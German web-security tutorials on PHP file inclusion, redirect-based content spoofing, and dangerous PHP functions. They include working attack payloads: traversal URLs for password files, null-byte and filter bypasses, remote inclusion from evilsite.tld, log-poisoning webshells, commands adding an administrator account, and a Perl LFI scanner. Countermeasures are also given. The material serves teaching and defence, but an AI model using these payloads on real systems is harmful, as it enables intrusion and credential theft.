File Inclusion Sicherheitslücken entstehen, wenn an den genannten Include Funktionen ungefilterte Variablen übergeben werden, die Benutzereingaben enthalten können.

In PHP werden Benutzereingaben mittels superglobale Arrays übergeben. Dazu werden ab Version 4.1.0 meistens folgende superglobale Arrays verwendet:

• $_GET
• $_POST
• $_REQUEST

Aber auch andere superglobale Arrays können Benutzereingaben enthalten, wie z.B.:

• $_COOKIE
• $_SESSION
• $_SERVER

Sollte register_globals auf On gesetzt sein, können auch andere Variablen davon betroffen sein. In aktuellen PHP Versionen ist register_globals jedoch standardmäßig auf Off gesetzt.

Allgemeine Vorgehensweisen

RFI: Einbinden von entfernten Dateien

Bei RFI können Angreifer wie gesagt Dateien einbinden, die auf anderen Servern liegen. Dazu geben sie einfach die URL zu der entfernten Datei an.

Häufig werden Dateien mit der Endung .txt eingebunden, die PHP-Anweisungen beinhalten. Damit ist sichergestellt, dass der PHP Code nicht auf dem Server interpretiert wird, wo die Datei liegt, sondern auf dem Zielsystem.

LFI: Auslesen von sensiblen Informationen

Das Ziel von Angreifern ist bei LFI häufig das Auslesen von sensiblen Informationen, wie Passwörter, Konfigurationseinstellungen, etc.

Hier einige Beispiele, die für Angreifer unter UNIX-Systemen interessant sein könnten:

• /etc/passwd
• /etc/shadow
• /etc/group
• /etc/security/passwd
• /etc/security/group
• /etc/security/user
• /etc/security/environ
• /etc/security/limits
• /usr/lib/security/mkuser.default
• /etc/httpd/conf/virtualhosts.conf

Auch htaccess-Passwortdateien (.htpasswd) sind ein beliebtes Ziel.

Grundlegende Angriffstechniken

Nun kommen die ersten Praxisbeispiele aus die Sicht eines Angreifers.

Anhand von praktischen Beispielen wird hier demonstriert, wie Angreifer File Inclusion Sicherheitslücken ausnutzen.

Beispiel 1:

<?php
  if(isset($_GET['file']))
    include($_GET['file']);
?>

Hier können die Dateien in der URL per GET-Parameter übergeben werden.

LFI:

http://localhost/vuln.php?file=/etc/passwd

http://localhost/vuln.php?file=/etc/httpd/conf/virtualhosts.conf

http://localhost/vuln.php?file=/home/www/.passwd

RFI:

http://localhost/vuln.php?file=http://evilsite.tld/evilcode.txt

Beispiel 2:

<?php
  $file = $_GET['file'];

  if(isset($file))
    require('includes/' . $file);
?>

Auch hier können die Dateien per GET-Parameter übergeben werden - in diesem Fall wird allerdings ein Verzeichnis (includes/) vorgegeben.

Nehmen wir an das vorgegebene Verzeichnis includes/ befindet sich unter:

/home/inet/www/includes/

Haben es Angreifer auf /etc/passwd abgesehen, müssen sie sich hier erst einige Verzeichnise mit der Angabe ../ in der Verzeichnisstruktur nach oben bewegen, um ins Root-Verzeichnis zu gelangen. Denn Dort befindet sich das Verzeichnis etc/ in der die passwd Datei liegt.

Übergibt man hier "etc/passwd", erscheint eine Fehlermeldung, da die Datei /home/inet/www/includes/etc/passwd nicht gefunden wurde.

Erfolgreiche Angriffe könnten wie folgt aussehen:

http://localhost/vuln.php?file=../../../../etc/passwd

http://localhost/vuln.php?file=../../../../etc/httpd/conf/virtualhosts.conf

Bei einer .htpasswd in /home/inet/www/.htpasswd muss man sich dagegen nur ein Verzeichnis in der Verzeichnisstruktur nach oben bewegen, um ins www/ Verzeichnis zu gelangen (wo sich die Datei befindet).

http://localhost/vuln.php?file=../.htpasswd

RFI ist hier ohne weiteres nicht möglich, da ein Verzeichnis vorgegeben wird. Selbst wenn man sich in der Verzeichnisstruktur bewegt - man würde sich immer in einem lokalen Verzeichnis befinden.

Hinweis: Oftmals wissen Angreifer nicht, wieviele Verzeichnisse sie sich nach oben bewegen müssen. Um ins Root-Verzeichnis zu gelangen, kann man aber auch einfach zu viele Verzeichnisse nach oben "springen", da sich das Root-Verzeichnis in der Verzeichnisstruktur ganz oben befindet und kein übergeordnetes Verzeichnis existiert.

Beispiel 3:

<?php
  require_once('lang/' . $_COOKIE['lang']);
?>

In diesem Beispiel wird ein Cookie namens "lang" verwendet. Außerdem wird das Verzeichnis lang/ vorgegeben.

Den Wert eines Cookies kann man u.A. im Browser ändern - zum Beispiel mit JavaScript:

javascript:document.cookie="lang=test";void(0);

Nach dem Aufruf sollte das Cookie den Wert "test" haben. Nachprüfen kann man das ganze ebenfalls mit JavaScript:

javascript:alert(document.cookie);

Nehmen wir an das lang/ Verzeichnis befindet sich unter:

/home/inet/www/lang/

Ein Angreifer könnte den Cookie-Wert also z.B. auf ../../../../etc/passwd setzen.

javascript:document.cookie="lang=../../../../etc/passwd";void(0);

javascript:document.cookie="lang=../../../../etc/httpd/conf/virtualhosts.conf";void(0);

javascript:document.cookie="lang=../.htpasswd";void(0);

Nach dem Aufruf des Scripts würden die Dateien erfolgreich eingebunden werden.

Auch hier ist RFI nicht möglich, da ein lokales Verzeichnis vorgegeben wird.

Fortgeschrittene Angriffstechniken

NULL Byte Poisoning

Meistens ist einem Programmierer bekannt, welche Dateiendung(en) die einzubindenen Dateien haben sollen. Im folgenden Beispiel wird die Dateiendung .php angehängt.

Beispiel 4:

<?php
  if(isset($_GET['file']))
    include($_GET['file'] . '.php');
?>

Gibt man hier als GET-Parameter "/etc/passwd" an, erscheint eine Fehlermeldung, da die Datei /etc/passwd.php nicht existiert, sondern nur /etc/passwd - ohne Dateiendung.

Angreifer können dies mit einem sogenannten NULL Byte Zeichen \0 bzw. in Hexadezimal %00 umgehen. In vielen Programmiersprachen terminiert das NULL Byte Zeichen einen String. Diese Angriffstechnik ist auch als NULL Byte Poisoning bekannt.

Die Angabe "/etc/passwd%00" würde zu /etc/passwd%00.php führen. Da das NULL Byte Zeichen den String terminiert, wird der Rest des Strings (hier die Dateiendung) ignoriert.

Erfolgreiche Angriffe könnten daher wie folgt aussehen.

http://localhost/vuln.php?file=/etc/passwd%00

http://localhost/vuln.php?file=/etc/httpd/conf/virtualhosts.conf%00

http://localhost/vuln.php?file=/home/www/.passwd%00

http://localhost/vuln.php?file=http://evilsite.tld/evilcode.txt%00

In PHP-Anwendungen ist dies allerdings nur möglich, wenn magic_quotes_gpc auf Off gesetzt ist. Da dies sehr oft der Fall ist und sogar empfohlen wird, haben Angreifer gute Chancen. Ab PHP 6.0.0 wird es magic_quotes_gpc gar nicht mehr geben.

Dieses Feature ist seit PHP 5.3.0 DEPRECATED (veraltet) und wird in PHP 6.0.0 ENTFERNT. Sich auf dieses Feature zu verlassen ist in keiner Weise empfehlenswert. - Quelle: php.net

Hinweis: Bei RFI gibt es in solchen Fällen allerdings noch eine andere Technik, mit der magic_quotes_gpc umgangen werden kann. Dazu wird einfach vorgetäuscht, dass die Dateiendung ein GET-Parameter oder der Wert eines GET-Patameters ist.
Beispiel: http://localhost/vuln.php?file=http://evilsite.tld/evilcode.txt?xy=
Dies führt zu: http://localhost/vuln.php?file=http://evilsite.tld/evilcode.txt?xy=.php

Filter Bypassing

Eines der größten Probleme von PHP Programmierern sind fehlende Kenntnisse im Bereich PHP-Sicherheit. So entstehen häufig unzureichende Schutzmaßnahmen.

Folgendes Beispiel soll dies verdeutlichen.

Beispiel 5:

<?php
  $file = str_replace('../', '', $_GET['file']);

  if(isset($file))
    include('includes/' . $file);
?>

RFI ist wegen dem vorgegebenen Verzeichnis nicht möglich. Um sich auch vor LFI Angriffen zu schützen, verhindert der Programmierer den Zugriff auf darüber liegende Verzeichnisse, indem er den Wert ../ durch einen leeren String ersetzt.

Folgender Angriffsversuch würde also nicht funktionieren.

http://localhost/vuln.php?file=../../../../etc/passwd

Angreifer können diese Filterung mit der Angabe ....// umgehen.

Dieser Trick ist einfach nachzuvollziehen: Die Angabe ../ wird durch einen leeren String ersetzt und übrig bleibt ../

Erfolgreiche Angriffe könnten wie folgt aussehen.

http://localhost/vuln.php?file=....//....//....//....//etc/passwd

http://localhost/vuln.php?file=....//....//....//....//etc/httpd/conf/virtualhosts.conf

http://localhost/vuln.php?file=....//....//....//....//home/www/.passwd

Einige würden jetzt vielleicht sogar auf die Idee kommen beide Angaben durch einen leeren String zu ersetzen. Das bringt natürlich auch nichts, wie am folgenden Beispiel zu sehen ist.

http://localhost/vuln.php?file=..../....///..../....///..../....///..../....///etc/passwd

Zuerst werden die Angaben ....// ersetzt. Dies ergibt: ....//....//....//....//
Anschließend werden die Angaben ../ ersetzt und übrig bleibt: ../../../../

Code Injizierung in Logdateien

Bei Local File Inclusion lassen sich (wie bereits erwähnt) ausschließlich lokale Dateien einbinden. Das bedeutet, dass man nur Code von vorhandenen Dateien ausführen kann.

Versierte Angreifer können durch clevere Tricks allerdings auch eigenen Code in vorhandene Dateien einschleusen - zum Beispiel in Logdateien.

Der meist verwendete Webserver ist Apache. Dort werden unter anderem Zugriffe auf dem Webserver sowie Fehler protokolliert (Access und Error Logs).

Ein Eintrag in der Error Log Datei wird zum Beispiel verursacht, wenn ein Verzeichnis aufgerufen wurde, das nicht existiert (Error 404).

Die folgenden Beispiele beziehen sich auf XAMPP unter Windows. Dort befindet sich die Error Log Datei standardmäßig unter xampp/apache/logs/error.log

Wird z.B. http://localhost/foobar aufgerufen, wird folgender Eintrag verursacht.

[error] [client 127.0.0.1] File does not exist: C:/xampp/htdocs/foobar

Wie man sieht, wird das angegebene Verzeichnis mitprotokolliert. Dies können Angreifer ausnutzen, indem sie anstelle von einem Verzeichnis, Code angeben.

http://localhost/<?php passthru($_GET['cmd']); ?>

Hinweis: Mit der Funktion passthru() lassen sich System-Befehle ausführen.

Der Browser URL-kodiert allerdings bestimmte Zeichen (wie z.B. spitze Klammern, Leerzeichen und Anführungszeichen), wie in der Error Log Datei zu sehen ist:

[error] [client 127.0.0.1] (20024)The given path is misformatted or contained invalid characters: Cannot map GET /%3C?php%20passthru($_GET[%27cmd%27]);%20?%3E HTTP/1.1 to file

Aus diesem Grund kann der PHP Code nicht interpretiert werden.

Um die URL-Kodierung zu verhindern, nutzen Angreifer meistens Telnet, SSH, etc.

Eine Telnet bzw. SSH Verbindung kann mit der Shell/Konsole oder mit speziellen Programmen wie PuTTY hergestellt werden.

Man kann auch kleine Scripts schreiben, die den Code ohne URL-Kodierung injizieren.

Bindet man nun die Error Log Datei per LFI ein, erscheint folgender Eintrag:

[error] [client 127.0.0.1] Invalid URI in request \xff\xfb\x1f\xff\xfb \xff\xfb\x18\xff\xfb'\xff\xfd\x01\xff\xfb\x03\xff\xfd\x03GET /
Warning: passthru() [function.passthru]: Cannot execute a blank command in C:\xampp\apache\logs\error.log on line 17
HTTP/1.0

Hier sieht man, dass der PHP Code erfolgreich injiziert und ausgeführt wurde. Die Warnmeldung erscheint, weil noch nichts an der passthru() Funktion übergeben wurde.

Dies kann man nun mit dem gerade injizierten GET-Parameter machen.

http://localhost/vuln.php?file=../apache/logs/error.log&cmd=[BEFEHL]

Hinweis: Bei XAMPP befindet sich das wwwroot-Verzeichnis unter xampp/htdocs/ – also muss hier ein Verzeichnis nach oben "gesprungen" werden, um ins apache/logs/ Verzeichnis zu gelangen.

Harmloses Starten des Windows "Taschenrechner":

http://localhost/vuln.php?file=../apache/logs/error.log&cmd=start calc.exe

Hier wird ein neuer Administrator-Account namens foo (pw: bar) angelegt:

http://localhost/vuln.php?file=../apache/logs/error.log&cmd=net user foo bar /add
http://localhost/vuln.php?file=../apache/logs/error.log&cmd=net localgroup Administratoren foo /add

Da man beliebigen PHP Code ausführen kann, ist natürlich noch einiges mehr möglich.

Wie bereits erwähnt injizieren Angreifer mit RFI häufig Webshells, mit denen sie sämtliche Aktionen durchführen können. Das ist auch mit LFI durch Injizierung von Code möglich.

Unter UNIX-Systemen könnte man mit dem Programm wget entfernte Dateien auf das Zielsystem herunterladen. Hat man diese Möglichkeit nicht, könnte man auch einfach ein Upload Script injizieren, mit dem man beliebige Dateien hochladen kann:

<?php
  if(isset($_POST['upload']))
  {
    if(move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']))
      echo '<p><b>Die Datei wurde erfolgreich hochgeladen.<b></p>';
  }
?>
<form action="" enctype="multipart/form-data" method="post">
  <input type="file" name="file" />
  <input type="submit" name="upload" />
</form>

Dieses Script kann man beispielsweise in Base64 kodieren und mit der Funktion fwrite() in eine neue Datei schreiben. Dazu sind ausreichende Schreibrechte* im angegebenen Verzeichnis nötig.

*Angreifer suchen gezielt nach Verzeichnissen, wo sie ausrechende Schreibrechte haben. In einem CMS oder in einem Forensystem ist das z.B. ein Upload-Verzeichnis.

(Klicken zum Vergrößern)

Nach dem Ausführen befindet sich das Upload-Script unter http://localhost/uploadscript.php

Logdateien ausfindig machen

Da sich Logdateien (wie z.B. die Error Log Datei) an unterschiedlichen Orten befinden können (verschiedene Betriebssysteme, Versionen, Installationsverzeichnisse, ...), müssen Angreifer sie erstmal ausfindig machen. Dazu gibt es verschiedene Möglichkeiten.

Am einfachsten ist es, wenn man weiß, wo sich die httpd.conf Datei befindet. In der stehen sämtliche Konfigurationseinstellungen – u.A. auch der Pfad zur Error Log Datei.

http://localhost/vuln.php?file=../apache/conf/httpd.conf

Eine andere Möglichkeit ist das Erzeugen von Fehlermeldungen, in denen der vollständige Pfad ausgegeben wird (Full Path Disclosure). Daraus erhält man oft nützliche Informationen.

Falls Angreifer nicht wissen, wo sich die Logdateien befinden, können sie auch automatisierte Tools (LFI Scanner) nutzen, welche die Arbeit für sie erledigen.

Das folgende (vereinfachte) Perl Script durchsucht z.B. vorgegebene Verzeichnisse.

#!/usr/bin/perl

# Beispiel Script zum Durchsuchen von Error Log Dateien
# www.web-tuts.de

use strict;
use LWP::UserAgent;

die "\nUsage: perl $0 <URL>\n" if(@ARGV < 1);

my $lfi_url = $ARGV[0]; # Bsp: http://localhost/vuln.php?file=

my @logpath = (
"../logs/error.log",
"../../logs/error.log",
"../../../logs/error.log",
"../../../../logs/error.log",
"../../../../../logs/error.log",
"../logs/error_log",
"../../logs/error_log",
"../../../logs/error_log",
"../../../../logs/error_log",
"../../../../../logs/error_log",
"../apache/logs/error.log",
"../../apache/logs/error.log",
"../../../apache/logs/error.log",
"../../../../apache/logs/error.log",
"../../../../../apache/logs/error.log",
"../apache/logs/error_log",
"../../apache/logs/error_log",
"../../../apache/logs/error_log",
"../../../../apache/logs/error_log",
"../../../../../apache/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../var/httpd/logs/error.log",
"../../../../../var/httpd/logs/error_log",
"../../../../../var/home/logs/error.log",
"../../../../../var/home/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../var/www/logs/error_log",
"../../../../../var/log/error.log",
"../../../../../var/log/error_log");

my $useragent = LWP::UserAgent->new;
$useragent->agent('Mozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)');

my $resp = $useragent->get($lfi_url);
if(!$resp->is_success) { die "\nVerbindung zu $lfi_url fehlgeschlagen.\n"; }

my $count = 0;

foreach(@logpath)
{
  $resp = $useragent->get($lfi_url . $logpath[$count]);
  if(index($resp->content, "[error]") != -1)
  {
    die "\nErrorLog gefunden:\n\n" . $logpath[$count] . "\n";
  }
  $count++;
}

Hinweis: Windows liefert standardmäßig kein Perl mit, daher muss es erst installiert werden. Dazu eignet sich z.B. ActivePerl.

Code Injizierung in Bilddateien

Eine weitere Möglichkeit ist die Injizierung von Code in Bilddateien.

Viele Webanwendungen ermöglichen das Hochladen von Bildern. In vielen Forensystemen sind das z.B. Benutzeravatare oder Bilder in Benutzerprofilen.

Bilddateien kann man mit einem normalen Texteditor bzw. Hexeditor öffnen und bearbeiten. Allerdings können dadurch sehr schnell fehlerhafte Bilddateien erzeugt werden. Viele Anwendungen prüfen, ob es sich um fehlerfreie Bilddateien handelt.

Dazu gibt es aber auch wieder einige hilfreiche Tools (die eigentlich dafür gedacht sind Kommentare in Bilddateien zu schreiben).

Google liefert bei der Suche nach "jpg comment editor" genügend Ergebnisse.

Injiziert man PHP Code mit solchen Tools in einer Bilddatei und lädt sie hoch, kann der Code mithilfe einer LFI Sicherheitslücke ausgeführt werden.

http://localhost/vuln.php?file=uploads/bild.jpg

Code Injizierung in anderen Dateien

Neben den Apache Logs befinden sich auf vielen Servern noch andere Logdateien, wie z.B. Logs von Web Analytics Tools, die ausführliche Besucherstatistiken beinhalten.

Das könnten User-Agents, HTTP-Referrer, etc. sein. In solchen Fällen können Angreifer auch Code einschleusen, da der User-Agent / Referrer im Browser bzw. im HTTP-Header verändert werden kann - zum Beispiel mit dem Firefox Addon Live HTTP Headers.

PHP Input Wrapper

Eine weitere fortgeschrittene (und immer noch nicht so bekannte) Angriffstechnik ist die Injizerung von Code per PHP Input Wrapper php://input

In diesem Wrapper wird der Request-Body von POST-Requests eingelesen. Mit einer File Inclusion Sicherheitslücke können Angreifer somit beliebigen Code mittels POST-Requests ausführen.

Für Angreifer ergeben sich bei dieser Methode einige Vorteile:

Wenn allow_url_fopen auf Off gesetzt ist, sind solche Angriffe trotzdem möglich.

Allerdings muss allow_url_include auf On gesetzt sein.

Ein weiterer Vorteil für Angreifer ist, dass die Daten per POST-Methode übergeben werden. Somit wird der injizierte Code z.B. nicht in Apache's Access-Logs protokolliert.

http://localhost/vuln.php?file=php://input

Den POST-Request kann man ebenfalls mit Live HTTP Headers senden.

Ein weiterer Input Wrapper ist data: - hier werden kodierte Strings in der URL übergeben, die vom Wrapper dekodiert werden. Das Ergebnis wird anschließend auf der Seite ausgegeben. Beinhalten die Strings PHP Code, wird dieser interpretiert und ausgeführt.

http://localhost/vuln.php?file=data:;base64,PD9waHAgcGFzc3RocnUoImRpciIpOyA/Pg==

Diese Methode ist allerdings nur möglich, wenn allow_url_fopen auf On gesetzt ist.

Gegenmaßnahmen

White-Listing

Um sich vor File Inclusion Angriffen zu schützen, ist das sogenannte White-Listing in den meisten Fällen am sinnvollsten. Beim White-Listing werden nur bestimmte Angaben zugelassen.

Beim Black-Listing werden dagegen alle Angaben zugelassen und anschließend gefiltert.

In den meisten Fällen wissen Programmierer bereits, welche Dateien eingebunden werden sollen. Von daher bietet sich das White-Listing in solchen Fällen als sicherer Schutz gegen File Inclusion Angriffe an.

Eine White-List könnte in PHP wie folgt aussehen.

<?php
  if(isset($_GET['file']))
  {
    switch($_GET['file'])
    {
      case 'home':
        include('home.php');
        break;
      case 'services':
        include('services.php');
        break;
      case 'kontakt':
        include('kontakt.php');
        break;
      default:
        include('home.php');
    }
  }
?>

Hier werden bei den Angaben "home", "services" und "kontakt" die entsprechenden Dateien eingebunden. Falls etwas anderes angegeben wird, wird durch die default-Anweisung die Datei home.php eingebunden. Somit sind File Inclusion Angriffe unmöglich.

Falls nicht bekannt ist, welche Dateien eingebunden werden sollen und Benutzereingaben übergeben werden können, sollte man diese auch mit einer White-List validieren, da man vorher weiß, welches Format die Dateinamen haben. So könnte man z.B. nur bestimmte Zeichen erlauben.

Hinweis: Vor einer Filterung sollte man sich immer zuerst die Konfigurationseinstellungen anschauen. Diese können entweder zum Schutz beitragen oder genau das Gegenteil bewirken. Um RFI zu verhindern braucht man z.B. keine zusätzliche Filterung, wenn allow_url_fopen und allow_url_include auf Off gesetzt sind.

Auch interessant:

• Web-Tuts.de – Rückblick von 7 Wochen
• Sichere Formulare – Teil 2
• Sicherheitslücken kombinieren
• Content-Spoofing – Teil 3 – HTTP Redirects
• Gefährliche Funktionen und Variablen in PHP

Es gibt eine "versteckte Gefahr", von der viele Webentwickler gar nichts wissen.

Beim Herunterladen von Inhalten über URL's folgt ein mit PHP realisierter HTTP-Request standardmäßig bis zu 20 Weiterleitungen - das ist zum Beispiel beim Darstellen von Bildern, die auf externen Servern liegen, der Fall.

Wie Angreifer dies ausnutzen können, welche Gefahr dahinter steckt und wie man mehrere Redirects in PHP-Anwendungen verhindern kann, wird in diesem 3. Teil der Artikel-Serie "Content-Spoofing" demonstriert.

Redirects auf externen Servern

In vielen PHP-Anwendungen können u. A. Bilder in Form einer URL eingebunden werden. In Forensystemen werden dazu meistens BB-Tags verwendet, die anschließend von der PHP-Anwendung in HTML-Markup umgewandelt werden.

Beispiel:

[img]http://www.domain.tld/bild.jpg[/img]

Wird umgewandelt in:

<img src="http://www.domain.tld/bild.jpg" />

Wenn (wie in diesem Beispiel) eine Bilddatei dargestellt / heruntergeladen werden soll, sendet der Browser ein HTTP-Request an den Server. Daraufhin antwortet der Server mit einer HTTP-Response, in der unter anderem der Statuscode übergeben wird.

Der Statuscode 200 bedeutet zum Beispiel, dass die Anfrage erfolgreich bearbeitet wurde. In diesem Fall würde das Bild also ganz normal dargestellt werden.

Die Statuscodes sind im RFC 2616 spezifiziert.

Der Statuscode 301 steht für eine permanente Weiterleitung. Dies können Angreifer ausnutzen, indem sie auf dem Server, wo sich das Bild / die Datei befindet, eine Weiterleitung verursachen - z. B. mit einer htaccess-Datei (Mod Rewrite):

RewriteEngine On
RewriteRule ^bild.jpg$ http://evilsite.tld/evilcode.php [L,R=301]

Wenn nun die Datei "bild.jpg" aufgerufen wird, erfolgt eine Weiterleitung zu einer beliebigen URL - in diesem Beispiel eine PHP Datei auf dem Server des Angreifers.

Proof-Of-Concept

Um das ganze nun anhand eines PHP Scripts zu demonstrieren, werde ich keine BB-Tags in HTML-Markup umwandeln, sondern die URL einfach per GET-Parameter übergeben.

<?php
  $url = $_GET['url'];

  if(isset($url))
    echo "<img src='$url' />";
?>

Ein Aufruf könnte so aussehen:

http://www.domain.tld/vuln.php?url=http://evilsite.tld/bild.jpg

Oder in einem Forensystem mit BB-Tags:

[img]http://evilsite.tld/bild.jpg[/img]

In diesem Beispiel erfolgt eine Weiterleitung zu http://evilsite.tld/evilcode.php und der vorhandene Code wird ausgeführt. Angreifer könnten hier zu einer infizierten Webseite weiterleiten, bei der z. B. Sicherheitslücken im Browser ausgenutzt werden. Man würde in den meisten Fällen noch nicht mal etwas davon mitbekommen, da die Weiterleitung per HTTP-Request im Hintergrund stattfindet.

In Verbindung mit XSRF (Cross-Site Request Forgery) ist allerdings noch mehr möglich.

In Webanwendungen werden sehr häufig Daten per GET-Parameter übermittelt, die zu bestimmten Aktionen führen. Zum Beispiel zu einem Kauf in einem Online-Shop (sofern man dort eingeloggt ist) oder zum mehrmaligen Aufrufen der eigenen Werbeanzeigen, was zum Ausschluss beim Anbieter und somit zum Einnahmeverlust führen kann.

Gegenmaßnahmen

Wie bereits erwähnt folgt ein mit PHP realisierter HTTP-Request standardmäßig max. 20 Weiterleitungen, um eine Endlos-Schleife zu verhindern.

Um die maximale Anzahl der Weiterleitungen selbst festzulegen, kann man die Erweiterung cURL nutzen. Dort gibt es die Option CURLOPT_MAXREDIRS.

Im folgenden Beispiel werden die Daten der angeforderten Datei ausgelesen und in eine Variable gespeichert. Da die Option CURLOPT_MAXREDIRS auf 0 gesetzt wird, ist keine Weiterleitung möglich. Danach werden die Daten in eine lokale Datei "file.jpg" geschrieben.

Anschließend wird überprüft, ob es sich um eine valide Bilddatei handelt. Falls nicht, wird die Datei gelöscht und das Script beendet - andernfalls wird das Bild normal dargestellt.

<?php
  $url = $_GET['url'];

  if(isset($url))
  {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 0); // max. Anzahl von Redirects
    $data = curl_exec($ch); // Daten in Variable speichern
    curl_close($ch);

    $file = fopen('file.jpg', 'wb'); // Neue Datei (file.jpg) anlegen
    fwrite($file, $data); // Daten in Datei schreiben
    fclose($file);

    if(...) // Bildformat ueberpruefen!
    {
      unlink('file.jpg'); // Datei loeschen
      die('Fehler: Ungueltiges Bildformat!'); // Script beenden
    }

    echo "<img src='file.jpg' />";
  }
?>

Zusätzlich muss die übergebene URL so gut wie möglich überprüft werden, ansonsten würde dieser Schutz nichts bringen, da ein Angreifer einfach direkt die URL zur infizierten Webseite übergeben könnte. Besonders GET-Parameter sollten herausgefiltert werden, was zumindest viele potenzielle Angriffe verhindert.

Auch interessant:

• Content-Spoofing – Teil 2 – Phishing
• Content-Spoofing – Teil 1 – JavaScript
• PHP Session Sicherheit – Session Fixation
• 10 Mythen zum Thema Web Security
• 25+ aktuelle Cheat Sheets für Webworker

Ich habe mal eine Liste mit einigen Funktionen und Variablen zusammengestellt, auf die PHP-Programmierer besonders achten sollten.

Superglobale Arrays

Benutzereingaben werden meistens in sogenannte Superglobals (auch superglobale Variablen genannt) gespeichert. Diese vordefinierten Variablen liegen wiederum in Arrays (Felder) - diese werden als superglobale Arrays bezeichnet.

Vereinfacht ausgedrückt kann man sagen, dass Benutzereingaben in Platzhalter gespeichert werden. In einem Suchformular könnte das z.B. so aussehen:

Suchformular » Benutzereingabe "test" » Platzhalter xy (enthält den Wert "test")

Am häufigsten werden folgende superglobale Arrays für Benutzereingaben verwendet:

$_GET, $_POST / $_REQUEST

In $_GET werden die Werte per URL-Parameter übergeben.
In $_POST werden Werte per POST-Methode übergeben (z.B. Formulareingaben).
$_REQUEST enthält den Inhalt von $_GET, $_POST und $_COOKIE

Doch nur auf $_GET, $_POST, $_REQUEST und $_COOKIE zu achten ist ein Fehler, der leider sehr oft gemacht wird.

Benutzereingaben sind nicht immer vorhersehbare Benutzereingaben. Angreifer halten sich nicht an die “Bitte alle Felder korrekt ausfüllen” Regel.

Auch bestimmte Daten im superglobalen $_SERVER Array können manipuliert werden. Zum Beispiel wird in $_SERVER['HTTP_USER_AGENT'] der User-Agent gespeichert. Diesen kann man in den Browser Einstellungen beliebig ändern.

Variablen / Arrays auf die man besonders achten sollte

• $_GET
• $HTTP_GET_VARS
• $_POST
• $HTTP_POST_VARS
• $_COOKIE
• $HTTP_COOKIE_VARS
• $_REQUEST
• $_FILES
• $HTTP_POST_FILES
• $_SERVER['REQUEST_METHOD']
• $_SERVER['QUERY_STRING']
• $_SERVER['REQUEST_URI']
• $_SERVER['HTTP_ACCEPT']
• $_SERVER['HTTP_ACCEPT_CHARSET']
• $_SERVER['HTTP_ACCEPT_ENCODING']
• $_SERVER['HTTP_ACCEPT_LANGUAGE']
• $_SERVER['HTTP_CONNECTION']
• $_SERVER['HTTP_HOST']
• $_SERVER['HTTP_REFERER']
• $_SERVER['HTTP_USER_AGENT']
• $_SERVER['HTTP_X_FORWARDED_FOR'];
• $_SERVER['PHP_SELF']

Potenziell gefährliche Funktionen

Diese Variablen / Arrays werden natürlich oft in Funktionen verwendet. Wenn man sie nicht validiert bzw. filtert, können kritische Sicherheitslücken entstehen.

Funktionen für den Dateizugriff:

• fopen
• readfile
• file
• fpassthru
• gzfile
• gzopen
• gzpassthru
• readgzfile
• file_get_contents
• file_put_contents
• copy
• rename
• rmdir
• mkdir
• unlink
• parse_ini_file

Funktionen zum Ausführen von Code und Befehlen:

• exec
• shell_exec
• system
• passthru
• eval
• popen
• proc_open
• call_user_func
• call_user_func_array
• call_user_method
• call_user_method_array
• create_function

Ausserdem ist hier auch der Backtick-Operator zu beachten.

Funktionen zum Einbinden von Dateien:

• include
• include_once
• require
• require_once
• virtual

Socket Funktionen:

• fsockopen
• pfsockopen
• socket_create
• socket_connect
• socket_write
• socket_send
• socket_recv

Funktionen für Weiterleitungen:

• header
• http_redirect
• HttpMessage::setHeaders
• HttpMessage::setResponseCode

Funktionen für SQL-Abfragen:

• mysql_query
• mssql_query
• pg_query

Funktionen zur Entschlüsselung:

• urldecode

Wem noch mehr einfallen, kann dies gerne per Kommentar mitteilen.

Auch interessant:

• 10 Mythen zum Thema Web Security
• Sicherheitslücken kombinieren
• API Crypting: Antiviren-Programme austricksen
• Advanced Local und Remote File Inclusion
• 16 nützliche Firefox-Addons für Webworker